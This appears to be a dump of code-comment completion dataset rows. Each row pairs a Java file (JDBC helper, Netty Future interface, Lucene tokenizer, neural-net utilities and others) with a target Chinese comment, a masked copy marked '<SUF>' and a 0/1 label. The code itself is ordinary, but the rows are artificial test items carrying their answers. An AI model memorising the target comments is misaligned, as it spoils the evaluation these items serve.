*/ | block_comment | zh-cn | package pers.tan.database;
import java.io.InputStream;
import java.sql.*;
import java.util.Properties;
/**
* DB class
*
* @author tanwei
* @date 17-11-19
*/
public class DB {
private static Properties info = null;
private static String driverUrl = null;
private static String user = null;
private static String password = null;
private static String driverClass = null;
{
try {
InputStream in = getClass().getClassLoader().getResourceAsStream("jdbc.properties");
Properties properties = new Properties();
properties.load(in);
driverClass = properties.getProperty("driverClass");
driverUrl = properties.getProperty("driverUrl");
user = properties.getProperty("user");
password = properties.getProperty("password");
info = new Properties();
info.put("user", user);
info.put("password", password);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 直接通过驱动获取数据库连接
* @return
* @throws Exception
*/
public Connection getConnectByDriver() throws Exception {
Driver driver = (Driver) Class.forName(driverClass).newInstance();
Connection connection = driver.connect(driverUrl, info);
return connection;
}
/**
* 通过DriverManager获取数据库连接
* @return
* @throws Exception
*/
public Connection getConnect() throws Exception {
Class.forName(driverClass);
Connection connection = DriverManager.getConnection(driverUrl,user, password);
return connection;
}
/**
* 插入1 <SUF>*/
public void insert() {
Statement statement = null;
try {
statement = getConnect().createStatement();
long start = System.currentTimeMillis();
for(int i = 1; i <= 100; ++i) {
String sql = "INSERT INTO hero VALUES(null, '英雄'," + i + ", " + i + ")";
statement.execute(sql);
}
long end = System.currentTimeMillis();
System.out.println("插入100条sql耗时" + (end - start) / 1000 + "s");
} catch (Exception e) {
e.printStackTrace();
} finally {
if(statement != null) {
try {
statement.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
}
}
| 0 |
52655_7 | package com.yu.service;
import org.springframework.stereotype.Service;
/**
* 发送vosa的车相关的服务实现接口
* @author za'y
*/
@Service
public interface CarService {
// 通用实现
boolean common(String key, int value);
// 初始化
boolean init();
// 减速
boolean sspeed();
// 停车
boolean Stop();
// 控制速度
boolean Speed(int speed);
// 换挡
boolean Gear(int gear);
// 修改里程
boolean Mileage(int mileage);
// 修改电量
boolean Power(int power);
// 控制灯光
boolean Light(int light);
// 设置门状态
boolean Door(int door);
}
| 0xiaoyu/vsoa_yolov_car | src/main/java/com/yu/service/CarService.java | 178 | // 设置门状态 | line_comment | zh-cn | package com.yu.service;
import org.springframework.stereotype.Service;
/**
* 发送vosa的车相关的服务实现接口
* @author za'y
*/
@Service
public interface CarService {
// 通用实现
boolean common(String key, int value);
// 初始化
boolean init();
// 减速
boolean sspeed();
// 停车
boolean Stop();
// 控制速度
boolean Speed(int speed);
// 换挡
boolean Gear(int gear);
// 修改里程
boolean Mileage(int mileage);
// 修改电量
boolean Power(int power);
// 控制灯光
boolean Light(int light);
// 设置 <SUF>
boolean Door(int door);
}
| 0 |
36688_1 | import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) {
int [] nums = {1,2,3};
Solution solution = new Solution();
System.out.println(solution.permutationsI(nums));
}
}
class Solution {
/* 回溯算法:全排列 I */
void backtrack(List<Integer> state, int[] choices, boolean[] selected, List<List<Integer>> res) {
// 当状态长度等于元素数量时,记录解
if (state.size() == choices.length) {
res.add(new ArrayList<Integer>(state));
return;
}
// 遍历所有选择
for (int i = 0; i < choices.length; i++) {
int choice = choices[i];
// 剪枝:不允许重复选择元素
if (!selected[i]) {
// 尝试:做出选择,更新状态
selected[i] = true;
state.add(choice);
// 进行下一轮选择
backtrack(state, choices, selected, res);
// 回退:撤销选择,恢复到之前的状态
selected[i] = false;
state.remove(state.size() - 1);
}
}
}
/* 全排列 I */
List<List<Integer>> permutationsI(int[] nums) {
List<List<Integer>> res = new ArrayList<List<Integer>>();
backtrack(new ArrayList<Integer>(), nums, new boolean[nums.length], res);
return res;
}
} | 0xihehe0/leetcode-Java | leetcode/_046/src/Main.java | 369 | // 当状态长度等于元素数量时,记录解 | line_comment | zh-cn | import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) {
int [] nums = {1,2,3};
Solution solution = new Solution();
System.out.println(solution.permutationsI(nums));
}
}
class Solution {
/* 回溯算法:全排列 I */
void backtrack(List<Integer> state, int[] choices, boolean[] selected, List<List<Integer>> res) {
// 当状 <SUF>
if (state.size() == choices.length) {
res.add(new ArrayList<Integer>(state));
return;
}
// 遍历所有选择
for (int i = 0; i < choices.length; i++) {
int choice = choices[i];
// 剪枝:不允许重复选择元素
if (!selected[i]) {
// 尝试:做出选择,更新状态
selected[i] = true;
state.add(choice);
// 进行下一轮选择
backtrack(state, choices, selected, res);
// 回退:撤销选择,恢复到之前的状态
selected[i] = false;
state.remove(state.size() - 1);
}
}
}
/* 全排列 I */
List<List<Integer>> permutationsI(int[] nums) {
List<List<Integer>> res = new ArrayList<List<Integer>>();
backtrack(new ArrayList<Integer>(), nums, new boolean[nums.length], res);
return res;
}
} | 0 |
54764_1 | package lucene;
import org.apache.lucene.analysis.Tokenizer;
import org.apache.lucene.analysis.tokenattributes.CharTermAttribute;
import org.apache.lucene.analysis.tokenattributes.OffsetAttribute;
import org.apache.lucene.analysis.tokenattributes.PositionIncrementAttribute;
import org.apache.lucene.analysis.tokenattributes.TypeAttribute;
import segment.Segment;
import java.io.BufferedReader;
import java.io.IOException;
/**
* @Author unclewang
* @Date 2018-12-11 11:22
*/
public class XinTokenizer extends Tokenizer {
private final CharTermAttribute termAtt = addAttribute(CharTermAttribute.class);
private final OffsetAttribute offsetAtt = addAttribute(OffsetAttribute.class);
private final PositionIncrementAttribute positionAttr = addAttribute(PositionIncrementAttribute.class);
private final TypeAttribute typeAtt = addAttribute(TypeAttribute.class);
private SegmentWrapper segment;
private int totalOffset = 0;
public XinTokenizer(Segment segment) {
this.segment = new SegmentWrapper(input, segment);
}
@Override
final public boolean incrementToken() throws IOException {
clearAttributes();
Atom atom;
atom = segment.next();
if (atom != null) {
//每一个词都是1个,因为不支持智能分词(今天天气==>今天,天气,天天)
positionAttr.setPositionIncrement(1);
termAtt.setEmpty().append(atom.getContent());
termAtt.setLength(atom.getLen());
offsetAtt.setOffset(totalOffset + atom.getOffe(), totalOffset + atom.getOffe() + atom.getLen());
System.out.println(totalOffset + atom.getOffe());
typeAtt.setType("word");
return true;
} else {
totalOffset += segment.getOffset();
return false;
}
}
@Override
public void reset() throws IOException {
super.reset();
segment.reset(new BufferedReader(this.input));
}
}
| 1000-7/xinlp | src/main/java/lucene/XinTokenizer.java | 470 | //每一个词都是1个,因为不支持智能分词(今天天气==>今天,天气,天天) | line_comment | zh-cn | package lucene;
import org.apache.lucene.analysis.Tokenizer;
import org.apache.lucene.analysis.tokenattributes.CharTermAttribute;
import org.apache.lucene.analysis.tokenattributes.OffsetAttribute;
import org.apache.lucene.analysis.tokenattributes.PositionIncrementAttribute;
import org.apache.lucene.analysis.tokenattributes.TypeAttribute;
import segment.Segment;
import java.io.BufferedReader;
import java.io.IOException;
/**
* @Author unclewang
* @Date 2018-12-11 11:22
*/
public class XinTokenizer extends Tokenizer {
private final CharTermAttribute termAtt = addAttribute(CharTermAttribute.class);
private final OffsetAttribute offsetAtt = addAttribute(OffsetAttribute.class);
private final PositionIncrementAttribute positionAttr = addAttribute(PositionIncrementAttribute.class);
private final TypeAttribute typeAtt = addAttribute(TypeAttribute.class);
private SegmentWrapper segment;
private int totalOffset = 0;
public XinTokenizer(Segment segment) {
this.segment = new SegmentWrapper(input, segment);
}
@Override
final public boolean incrementToken() throws IOException {
clearAttributes();
Atom atom;
atom = segment.next();
if (atom != null) {
//每一 <SUF>
positionAttr.setPositionIncrement(1);
termAtt.setEmpty().append(atom.getContent());
termAtt.setLength(atom.getLen());
offsetAtt.setOffset(totalOffset + atom.getOffe(), totalOffset + atom.getOffe() + atom.getLen());
System.out.println(totalOffset + atom.getOffe());
typeAtt.setType("word");
return true;
} else {
totalOffset += segment.getOffset();
return false;
}
}
@Override
public void reset() throws IOException {
super.reset();
segment.reset(new BufferedReader(this.input));
}
}
| 1 |
40549_0 | package org.dync.bean;
import java.io.Serializable;
public class VideoSearch implements Serializable {
public VideoSearch() {
}
public VideoSearch(String name, String photo, String url, String performer) {
this.name = name;
this.photo = photo;
this.url = url;
this.performer = performer;
}
private String name;
private String photo;
private String url;
/** 演员**/
private String performer;
public String getPerformer() {
return performer;
}
public void setPerformer(String performer) {
this.performer = performer;
}
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPhoto() {
return photo;
}
public void setPhoto(String photo) {
this.photo = photo;
}
}
| 1030907690/dayAndNight-android | app/src/main/java/org/dync/bean/VideoSearch.java | 247 | /** 演员**/ | block_comment | zh-cn | package org.dync.bean;
import java.io.Serializable;
public class VideoSearch implements Serializable {
public VideoSearch() {
}
public VideoSearch(String name, String photo, String url, String performer) {
this.name = name;
this.photo = photo;
this.url = url;
this.performer = performer;
}
private String name;
private String photo;
private String url;
/** 演员* <SUF>*/
private String performer;
public String getPerformer() {
return performer;
}
public void setPerformer(String performer) {
this.performer = performer;
}
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPhoto() {
return photo;
}
public void setPhoto(String photo) {
this.photo = photo;
}
}
| 1 |
24139_14 | /*
* Copyright 2013 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package io.netty.util.concurrent;
import java.util.concurrent.CancellationException;
import java.util.concurrent.TimeUnit;
/**
* The result of an asynchronous operation.
*/
@SuppressWarnings("ClassNameSameAsAncestorName")
public interface Future<V> extends java.util.concurrent.Future<V> {
/**
* Returns {@code true} if and only if the I/O operation was completed
* successfully.
*/
// 是否成功
boolean isSuccess();
/**
* returns {@code true} if and only if the operation can be cancelled via {@link #cancel(boolean)}.
*/
// 是否可取消
boolean isCancellable();
/**
* Returns the cause of the failed I/O operation if the I/O operation has
* failed.
*
* @return the cause of the failure.
* {@code null} if succeeded or this future is not
* completed yet.
*/
// 如果任务执行失败,这个方法返回异常信息
Throwable cause();
/**
* Adds the specified listener to this future. The
* specified listener is notified when this future is
* {@linkplain #isDone() done}. If this future is already
* completed, the specified listener is notified immediately.
*/
// 添加 Listener 来进行回调
Future<V> addListener(GenericFutureListener<? extends Future<? super V>> listener);
/**
* Adds the specified listeners to this future. The
* specified listeners are notified when this future is
* {@linkplain #isDone() done}. If this future is already
* completed, the specified listeners are notified immediately.
*/
Future<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners);
/**
* Removes the first occurrence of the specified listener from this future.
* The specified listener is no longer notified when this
* future is {@linkplain #isDone() done}. If the specified
* listener is not associated with this future, this method
* does nothing and returns silently.
*/
Future<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener);
/**
* Removes the first occurrence for each of the listeners from this future.
* The specified listeners are no longer notified when this
* future is {@linkplain #isDone() done}. If the specified
* listeners are not associated with this future, this method
* does nothing and returns silently.
*/
Future<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners);
/**
* Waits for this future until it is done, and rethrows the cause of the failure if this future
* failed.
*/
// 阻塞等待任务结束,如果任务失败,将“导致失败的异常”重新抛出来
Future<V> sync() throws InterruptedException;
/**
* Waits for this future until it is done, and rethrows the cause of the failure if this future
* failed.
*/
// 不响应中断的 sync(),这个大家应该都很熟了
Future<V> syncUninterruptibly();
/**
* Waits for this future to be completed.
*
* @throws InterruptedException
* if the current thread was interrupted
*/
/*
* 顺便说下 sync() 和 await() 的区别:sync() 内部会先调用 await() 方法,等 await() 方法返回后,会检查下这个任务是否失败,如果失败,
* 重新将导致失败的异常抛出来。也就是说,如果使用 await(),任务抛出异常后,await() 方法会返回,但是不会抛出异常,而 sync() 方法返回的同时会抛出异常。
* */
// 阻塞等待任务结束,和 sync() 功能是一样的,不过如果任务失败,它不会抛出执行过程中的异常
Future<V> await() throws InterruptedException;
/**
* Waits for this future to be completed without
* interruption. This method catches an {@link InterruptedException} and
* discards it silently.
*/
Future<V> awaitUninterruptibly();
/**
* Waits for this future to be completed within the
* specified time limit.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*
* @throws InterruptedException
* if the current thread was interrupted
*/
boolean await(long timeout, TimeUnit unit) throws InterruptedException;
/**
* Waits for this future to be completed within the
* specified time limit.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*
* @throws InterruptedException
* if the current thread was interrupted
*/
boolean await(long timeoutMillis) throws InterruptedException;
/**
* Waits for this future to be completed within the
* specified time limit without interruption. This method catches an
* {@link InterruptedException} and discards it silently.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*/
boolean awaitUninterruptibly(long timeout, TimeUnit unit);
/**
* Waits for this future to be completed within the
* specified time limit without interruption. This method catches an
* {@link InterruptedException} and discards it silently.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*/
boolean awaitUninterruptibly(long timeoutMillis);
/**
* Return the result without blocking. If the future is not done yet this will return {@code null}.
*
* As it is possible that a {@code null} value is used to mark the future as successful you also need to check
* if the future is really done with {@link #isDone()} and not relay on the returned {@code null} value.
*/
// 获取执行结果,不阻塞。我们都知道 java.util.concurrent.Future 中的 get() 是阻塞的
V getNow();
/**
* {@inheritDoc}
*
* If the cancellation was successful it will fail the future with an {@link CancellationException}.
*/
// 取消任务执行,如果取消成功,任务会因为 CancellationException 异常而导致失败
// 也就是 isSuccess()==false,同时上面的 cause() 方法返回 CancellationException 的实例。
// mayInterruptIfRunning 说的是:是否对正在执行该任务的线程进行中断(这样才能停止该任务的执行),
// 似乎 Netty 中 Future 接口的各个实现类,都没有使用这个参数
@Override
boolean cancel(boolean mayInterruptIfRunning);
}
| 1030907690/netty-netty-4.1.27.Final | common/src/main/java/io/netty/util/concurrent/Future.java | 1,625 | // 阻塞等待任务结束,如果任务失败,将“导致失败的异常”重新抛出来 | line_comment | zh-cn | /*
* Copyright 2013 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package io.netty.util.concurrent;
import java.util.concurrent.CancellationException;
import java.util.concurrent.TimeUnit;
/**
* The result of an asynchronous operation.
*/
@SuppressWarnings("ClassNameSameAsAncestorName")
public interface Future<V> extends java.util.concurrent.Future<V> {
/**
* Returns {@code true} if and only if the I/O operation was completed
* successfully.
*/
// 是否成功
boolean isSuccess();
/**
* returns {@code true} if and only if the operation can be cancelled via {@link #cancel(boolean)}.
*/
// 是否可取消
boolean isCancellable();
/**
* Returns the cause of the failed I/O operation if the I/O operation has
* failed.
*
* @return the cause of the failure.
* {@code null} if succeeded or this future is not
* completed yet.
*/
// 如果任务执行失败,这个方法返回异常信息
Throwable cause();
/**
* Adds the specified listener to this future. The
* specified listener is notified when this future is
* {@linkplain #isDone() done}. If this future is already
* completed, the specified listener is notified immediately.
*/
// 添加 Listener 来进行回调
Future<V> addListener(GenericFutureListener<? extends Future<? super V>> listener);
/**
* Adds the specified listeners to this future. The
* specified listeners are notified when this future is
* {@linkplain #isDone() done}. If this future is already
* completed, the specified listeners are notified immediately.
*/
Future<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners);
/**
* Removes the first occurrence of the specified listener from this future.
* The specified listener is no longer notified when this
* future is {@linkplain #isDone() done}. If the specified
* listener is not associated with this future, this method
* does nothing and returns silently.
*/
Future<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener);
/**
* Removes the first occurrence for each of the listeners from this future.
* The specified listeners are no longer notified when this
* future is {@linkplain #isDone() done}. If the specified
* listeners are not associated with this future, this method
* does nothing and returns silently.
*/
Future<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners);
/**
* Waits for this future until it is done, and rethrows the cause of the failure if this future
* failed.
*/
// 阻塞 <SUF>
Future<V> sync() throws InterruptedException;
/**
* Waits for this future until it is done, and rethrows the cause of the failure if this future
* failed.
*/
// 不响应中断的 sync(),这个大家应该都很熟了
Future<V> syncUninterruptibly();
/**
* Waits for this future to be completed.
*
* @throws InterruptedException
* if the current thread was interrupted
*/
/*
* 顺便说下 sync() 和 await() 的区别:sync() 内部会先调用 await() 方法,等 await() 方法返回后,会检查下这个任务是否失败,如果失败,
* 重新将导致失败的异常抛出来。也就是说,如果使用 await(),任务抛出异常后,await() 方法会返回,但是不会抛出异常,而 sync() 方法返回的同时会抛出异常。
* */
// 阻塞等待任务结束,和 sync() 功能是一样的,不过如果任务失败,它不会抛出执行过程中的异常
Future<V> await() throws InterruptedException;
/**
* Waits for this future to be completed without
* interruption. This method catches an {@link InterruptedException} and
* discards it silently.
*/
Future<V> awaitUninterruptibly();
/**
* Waits for this future to be completed within the
* specified time limit.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*
* @throws InterruptedException
* if the current thread was interrupted
*/
boolean await(long timeout, TimeUnit unit) throws InterruptedException;
/**
* Waits for this future to be completed within the
* specified time limit.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*
* @throws InterruptedException
* if the current thread was interrupted
*/
boolean await(long timeoutMillis) throws InterruptedException;
/**
* Waits for this future to be completed within the
* specified time limit without interruption. This method catches an
* {@link InterruptedException} and discards it silently.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*/
boolean awaitUninterruptibly(long timeout, TimeUnit unit);
/**
* Waits for this future to be completed within the
* specified time limit without interruption. This method catches an
* {@link InterruptedException} and discards it silently.
*
* @return {@code true} if and only if the future was completed within
* the specified time limit
*/
boolean awaitUninterruptibly(long timeoutMillis);
/**
* Return the result without blocking. If the future is not done yet this will return {@code null}.
*
* As it is possible that a {@code null} value is used to mark the future as successful you also need to check
* if the future is really done with {@link #isDone()} and not relay on the returned {@code null} value.
*/
// 获取执行结果,不阻塞。我们都知道 java.util.concurrent.Future 中的 get() 是阻塞的
V getNow();
/**
* {@inheritDoc}
*
* If the cancellation was successful it will fail the future with an {@link CancellationException}.
*/
// 取消任务执行,如果取消成功,任务会因为 CancellationException 异常而导致失败
// 也就是 isSuccess()==false,同时上面的 cause() 方法返回 CancellationException 的实例。
// mayInterruptIfRunning 说的是:是否对正在执行该任务的线程进行中断(这样才能停止该任务的执行),
// 似乎 Netty 中 Future 接口的各个实现类,都没有使用这个参数
@Override
boolean cancel(boolean mayInterruptIfRunning);
}
| 0 |
47074_20 | package xws.neuron;
import com.alibaba.fastjson.JSON;
import java.util.Random;
/**
* 神经网络的工具类
* Created by xws on 2019/2/19.
*/
public class UtilNeuralNet {
public static double alpha = 0000000000000000000000000000001D;
//扩展输入数据 如果步幅导致不能出现数据边界有未处理数据
public static double[][] extension(double[][] input, int height, int width, int strideX, int strideY) {
int widthInput = input.length;
int heightInput = input[0].length;
//如果filter的 widthInput/(width+strideX)!=0 那么,就需要进行数据补充,以实现全部的卷积化
int modx = (widthInput - width) % strideX;
int mody = (heightInput - height) % strideY;
//新的width和height
int widthNew = widthInput;
int heightNew = heightInput;
if (modx != 0) {
widthNew = widthInput + strideX - modx;
System.out.println("输入数据进行宽度扩展了");
}
if (mody != 0) {
heightNew = heightInput + strideY - mody;
System.out.println("输入数据进行高度扩展了");
}
//开辟新的输入数组
double[][] newInput = new double[widthNew][heightNew];
//然后开始复制数据
for (int h = 0; h < heightInput; h++) {
for (int w = 0; w < widthInput; w++) {
newInput[h][w] = input[h][w];
}
}
return newInput;
}
//卷积之前,对数据进行扩展
public static double[][] padding(double[][] input, int padding) {
int heightInput = input.length;
int widthInput = input[0].length;
//新的width和height
int widthNew = widthInput + padding * 2;
int heightNew = heightInput + padding * 2;
//开辟新的输入数组
double[][] newInput = new double[heightNew][widthNew];
//然后开始复制数据
for (int h = 0; h < heightInput; h++) {
for (int w = 0; w < widthInput; w++) {
newInput[h + padding][w + padding] = input[h][w];
}
}
return newInput;
}
//1*1卷积运算
public static double[][] convolution(double[][] input, double[][] input1) {
double[][] result = new double[input.length][input[0].length];
for (int h = 0; h < input.length; h++) {
for (int w = 0; w < input[h].length; w++) {
result[h][w] = input[h][w] + input1[h][w];
}
}
return result;
}
//计算卷积之后的数据高度
public static int afterHeight(int inputHeight, int padding, int strideY, int height) {
return (inputHeight + 2 * padding - height) / strideY + 1;
}
//计算卷积之后的数据宽度
public static int afterWidth(int inputWidth, int padding, int strideX, int width) {
return (inputWidth + 2 * padding - width) / strideX + 1;
}
//宇宙常数e
public static double e() {
return 2.71828182845904523536;
}
public static double rate() {
return e() * 0.0001;
}
//初始化单个数据
public static double initData() {
Random random = new Random();
return random.nextGaussian() * 0.1;
}
//初始化bias
public static void initBias(double[] bias) {
for (int i = 0; i < bias.length; i++) {
bias[i] = 0.0010000000474974513;
}
}
//初始化weight
public static void initWeight(double[] weight) {
Random random = new Random();
for (int i = 0; i < weight.length; i++) {
weight[i] = (random.nextGaussian() * 0.1);
}
}
//初始化手写字符数据
public static void initMinst(double[] data) {
for (int i = 0; i < data.length; i++) {
data[i] = data[i] / 128d - 1d;
// data[i] = data[i] / 256;
}
}
//除以最大值,进行归一化
public static void initMax(double[] data) {
double max = max(data);
for (int i = 0; i < data.length; i++) {
data[i] = data[i] / max;
}
}
//求均值
public static double average(double[] val) {
double total = 0;
for (int i = 0; i < val.length; i++) {
total = total + val[i];
}
return total / val.length;
}
//求方差
public static double variance(double[] val) {
double total = 0;
double average = average(val);
for (int i = 0; i < val.length; i++) {
total = total + Math.pow(val[i] - average, 2);
}
return total / val.length;
}
//求方差
public static double variance(double[] val, double average) {
double total = 0;
for (int i = 0; i < val.length; i++) {
total = total + Math.pow(val[i] - average, 2);
}
return total / val.length;
}
//取最大值
public static double max(double[] array) {
double max = 0;
for (int i = 0; i < array.length; i++) {
max = Math.max(max, array[i]);
}
return max;
}
//取最小值
public static double min(double[] array) {
double min = 9999;
for (double d : array) {
if (d < min) {
min = d;
}
}
return min;
}
//取最大值所在索引
public static int maxIndex(double[] array) {
double max = 0;
int maxIndex = 0;
for (int i = 0; i < array.length; i++) {
if (max < array[i]) {
max = array[i];
maxIndex = i;
}
}
return maxIndex;
}
//取数据概率
public static double[] probability(double[] array) {
double max = max(array);
//求每个元素的log值
double[] log = new double[array.length];
for (int i = 0; i < log.length; i++) {
log[i] = Math.exp(array[i] - max);
}
double total = 0;
//求分母
for (int i = 0; i < log.length; i++) {
total = total + log[i];
}
//求概率
for (int i = 0; i < log.length; i++) {
log[i] = log[i] / total;
}
return log;
}
public static void main(String[] args) {
double[] a = new double[]{2, 2, 3, 3};
double[] b = new double[]{0, 0, 5, 5};
System.out.println(average(a));
System.out.println(average(b));
System.out.println(variance(a));
System.out.println(variance(b));
double[] weight = new double[10];
initWeight(weight);
System.out.println(JSON.toJSONString(weight));
}
}
| 1036225283/xws | src/main/java/xws/neuron/UtilNeuralNet.java | 1,908 | //求均值 | line_comment | zh-cn | package xws.neuron;
import com.alibaba.fastjson.JSON;
import java.util.Random;
/**
* 神经网络的工具类
* Created by xws on 2019/2/19.
*/
public class UtilNeuralNet {
public static double alpha = 0000000000000000000000000000001D;
//扩展输入数据 如果步幅导致不能出现数据边界有未处理数据
public static double[][] extension(double[][] input, int height, int width, int strideX, int strideY) {
int widthInput = input.length;
int heightInput = input[0].length;
//如果filter的 widthInput/(width+strideX)!=0 那么,就需要进行数据补充,以实现全部的卷积化
int modx = (widthInput - width) % strideX;
int mody = (heightInput - height) % strideY;
//新的width和height
int widthNew = widthInput;
int heightNew = heightInput;
if (modx != 0) {
widthNew = widthInput + strideX - modx;
System.out.println("输入数据进行宽度扩展了");
}
if (mody != 0) {
heightNew = heightInput + strideY - mody;
System.out.println("输入数据进行高度扩展了");
}
//开辟新的输入数组
double[][] newInput = new double[widthNew][heightNew];
//然后开始复制数据
for (int h = 0; h < heightInput; h++) {
for (int w = 0; w < widthInput; w++) {
newInput[h][w] = input[h][w];
}
}
return newInput;
}
//卷积之前,对数据进行扩展
public static double[][] padding(double[][] input, int padding) {
int heightInput = input.length;
int widthInput = input[0].length;
//新的width和height
int widthNew = widthInput + padding * 2;
int heightNew = heightInput + padding * 2;
//开辟新的输入数组
double[][] newInput = new double[heightNew][widthNew];
//然后开始复制数据
for (int h = 0; h < heightInput; h++) {
for (int w = 0; w < widthInput; w++) {
newInput[h + padding][w + padding] = input[h][w];
}
}
return newInput;
}
//1*1卷积运算
public static double[][] convolution(double[][] input, double[][] input1) {
double[][] result = new double[input.length][input[0].length];
for (int h = 0; h < input.length; h++) {
for (int w = 0; w < input[h].length; w++) {
result[h][w] = input[h][w] + input1[h][w];
}
}
return result;
}
//计算卷积之后的数据高度
public static int afterHeight(int inputHeight, int padding, int strideY, int height) {
return (inputHeight + 2 * padding - height) / strideY + 1;
}
//计算卷积之后的数据宽度
public static int afterWidth(int inputWidth, int padding, int strideX, int width) {
return (inputWidth + 2 * padding - width) / strideX + 1;
}
//宇宙常数e
public static double e() {
return 2.71828182845904523536;
}
public static double rate() {
return e() * 0.0001;
}
//初始化单个数据
public static double initData() {
Random random = new Random();
return random.nextGaussian() * 0.1;
}
//初始化bias
public static void initBias(double[] bias) {
for (int i = 0; i < bias.length; i++) {
bias[i] = 0.0010000000474974513;
}
}
//初始化weight
public static void initWeight(double[] weight) {
Random random = new Random();
for (int i = 0; i < weight.length; i++) {
weight[i] = (random.nextGaussian() * 0.1);
}
}
//初始化手写字符数据
public static void initMinst(double[] data) {
for (int i = 0; i < data.length; i++) {
data[i] = data[i] / 128d - 1d;
// data[i] = data[i] / 256;
}
}
//除以最大值,进行归一化
public static void initMax(double[] data) {
double max = max(data);
for (int i = 0; i < data.length; i++) {
data[i] = data[i] / max;
}
}
//求均 <SUF>
public static double average(double[] val) {
double total = 0;
for (int i = 0; i < val.length; i++) {
total = total + val[i];
}
return total / val.length;
}
//求方差
public static double variance(double[] val) {
double total = 0;
double average = average(val);
for (int i = 0; i < val.length; i++) {
total = total + Math.pow(val[i] - average, 2);
}
return total / val.length;
}
//求方差
public static double variance(double[] val, double average) {
double total = 0;
for (int i = 0; i < val.length; i++) {
total = total + Math.pow(val[i] - average, 2);
}
return total / val.length;
}
//取最大值
public static double max(double[] array) {
double max = 0;
for (int i = 0; i < array.length; i++) {
max = Math.max(max, array[i]);
}
return max;
}
//取最小值
public static double min(double[] array) {
double min = 9999;
for (double d : array) {
if (d < min) {
min = d;
}
}
return min;
}
//取最大值所在索引
public static int maxIndex(double[] array) {
double max = 0;
int maxIndex = 0;
for (int i = 0; i < array.length; i++) {
if (max < array[i]) {
max = array[i];
maxIndex = i;
}
}
return maxIndex;
}
//取数据概率
public static double[] probability(double[] array) {
double max = max(array);
//求每个元素的log值
double[] log = new double[array.length];
for (int i = 0; i < log.length; i++) {
log[i] = Math.exp(array[i] - max);
}
double total = 0;
//求分母
for (int i = 0; i < log.length; i++) {
total = total + log[i];
}
//求概率
for (int i = 0; i < log.length; i++) {
log[i] = log[i] / total;
}
return log;
}
public static void main(String[] args) {
double[] a = new double[]{2, 2, 3, 3};
double[] b = new double[]{0, 0, 5, 5};
System.out.println(average(a));
System.out.println(average(b));
System.out.println(variance(a));
System.out.println(variance(b));
double[] weight = new double[10];
initWeight(weight);
System.out.println(JSON.toJSONString(weight));
}
}
| 0 |
59256_9 | /**
* @(#)SalesFreeOrderAction.java
* @author chenwei
* 版本历史
* -------------------------------------------------------------------------
* 时间 作者 内容
* -------------------------------------------------------------------------
* 2014年5月29日 chenwei 创建版本
*/
package com.hd.agent.account.action;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import net.sf.json.JSONObject;
import org.apache.commons.lang3.StringUtils;
import com.hd.agent.account.model.ReceivablePastDueReason;
import com.hd.agent.account.service.ISalesFreeOrderService;
import com.hd.agent.basefiles.action.BaseFilesAction;
import com.hd.agent.basefiles.model.Customer;
import com.hd.agent.common.annotation.UserOperateLog;
import com.hd.agent.common.util.CommonUtils;
import com.hd.agent.common.util.ExcelUtils;
import com.hd.agent.common.util.PageData;
import com.hd.agent.report.model.PaymentdaysSet;
import com.hd.agent.report.service.IPaymentdaysSetService;
/**
*
* 销售放单管理
* @author chenwei
*/
public class SalesFreeOrderAction extends BaseFilesAction {
/**
*
*/
private static final long serialVersionUID = -9212376617314235765L;
/**
* 销售放单管理service
*/
private ISalesFreeOrderService salesFreeOrderService;
private IPaymentdaysSetService paymentdaysSetService;
private ReceivablePastDueReason receivablePastDueReason;
public ReceivablePastDueReason getReceivablePastDueReason() {
return receivablePastDueReason;
}
public void setReceivablePastDueReason(
ReceivablePastDueReason receivablePastDueReason) {
this.receivablePastDueReason = receivablePastDueReason;
}
public ISalesFreeOrderService getSalesFreeOrderService() {
return salesFreeOrderService;
}
public void setSalesFreeOrderService(
ISalesFreeOrderService salesFreeOrderService) {
this.salesFreeOrderService = salesFreeOrderService;
}
public IPaymentdaysSetService getPaymentdaysSetService() {
return paymentdaysSetService;
}
public void setPaymentdaysSetService(
IPaymentdaysSetService paymentdaysSetService) {
this.paymentdaysSetService = paymentdaysSetService;
}
/**
* 显示放单列表页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
public String showSalesFreeOrderListPage()throws Exception{
String today = CommonUtils.getTodayDataStr();
request.setAttribute("today", today);
return SUCCESS;
}
/**
* 获取放单列表
* @return
* @throws Exception
